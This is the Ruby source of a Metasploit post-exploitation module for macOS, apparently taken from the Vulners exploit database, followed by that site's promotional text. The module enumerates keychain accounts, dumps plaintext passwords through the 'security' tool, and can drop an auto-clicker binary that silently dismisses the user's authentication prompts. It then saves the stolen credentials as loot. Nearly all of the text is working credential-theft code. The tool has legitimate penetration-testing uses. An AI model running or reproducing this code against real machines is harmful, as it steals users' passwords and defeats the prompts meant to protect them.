##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::OSX::System
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OS X Gather Keychain Enumeration',
'Description' => %q{
This module presents a way to quickly go through the current user's keychains and
collect data such as email accounts, servers, and other services. Please note:
when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication
alert flash briefly on their screen that gets dismissed by a programmatically triggered click.
},
'License' => MSF_LICENSE,
'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],
'Platform' => [ 'osx' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
)
)
register_options(
[
OptBool.new('GETPASS', [false, 'Collect passwords.', false]),
OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]),
OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]),
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
]
)
end
def list_keychains
keychains = cmd_exec('security list')
user = cmd_exec('whoami')
print_status("The following keychains for #{user.strip} were found:")
print_line(keychains.chomp)
return keychains =~ /No such file or directory/ ? nil : keychains
end
def enum_accounts(_keychains)
user = cmd_exec('whoami').chomp
out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")
accounts = []
out.split("\n").each do |line|
next if line =~ /NULL/
case line
when /"acct"/
accounts << Hash.new
accounts.last['acct'] = line.split('<blob>=')[1].split('"')[1]
when /"srvr"/
accounts.last['srvr'] = line.split('<blob>=')[1].split('"')[1]
when /"svce"/
accounts.last['svce'] = line.split('<blob>=')[1].split('"')[1]
when /"desc"/
accounts.last['desc'] = line.split('<blob>=')[1].split('"')[1]
end
end
accounts
end
def get_passwords(accounts)
(1..accounts.count).each do |num|
if accounts[num].key?('srvr')
c = 'find-internet-password'
s = accounts[num]['srvr']
else
c = 'find-generic-password'
s = accounts[num]['svce']
end
cmd = cmd_exec("security #{c} -ga \"#{accounts[num]['acct']}\" -s \"#{s}\" 2>&1")
cmd.split("\n").each do |line|
if line =~ /password: /
if line.split[1].nil?
accounts[num]['pass'] = nil
else
accounts[num]['pass'] = line.split[1].gsub('"', '')
end
end
end
end
return accounts
end
def save(data, kind = 'Keychain information')
l = store_loot('macosx.keychain.info',
'plain/text',
session,
data,
'keychain_info.txt',
'Mac Keychain Account/Server/Service/Description')
print_good("#{@peer} - #{kind} saved in #{l}")
end
def run
@peer = "#{session.session_host}:#{session.session_port}"
keychains = list_keychains
if keychains.nil?
print_error("#{@peer} - Module timed out, no keychains found.")
return
end
user = cmd_exec('/usr/bin/whoami').chomp
accounts = enum_accounts(keychains)
save(accounts)
if datastore['GETPASS']
if datastore['GETPASS_AUTO_ACCEPT']
print_status("Writing auto-clicker to `#{clicker_file}'")
write_file(clicker_file, clicker_bin)
register_file_for_cleanup(clicker_file)
print_status('Dumping keychain with auto-clicker...')
passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT'])
save(passwords, 'Plaintext passwords')
begin
count = JSON.parse(passwords).count
print_good("Successfully stole #{count} passwords")
rescue JSON::ParserError => e
print_error('Response was not valid JSON')
end
else
begin
passwords = get_passwords(accounts)
rescue StandardError
print_error("#{@peer} - Module timed out, no passwords found.")
print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
end
save(passwords)
end
end
end
def clicker_file
@clicker_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end
def clicker_bin
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump'
))
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation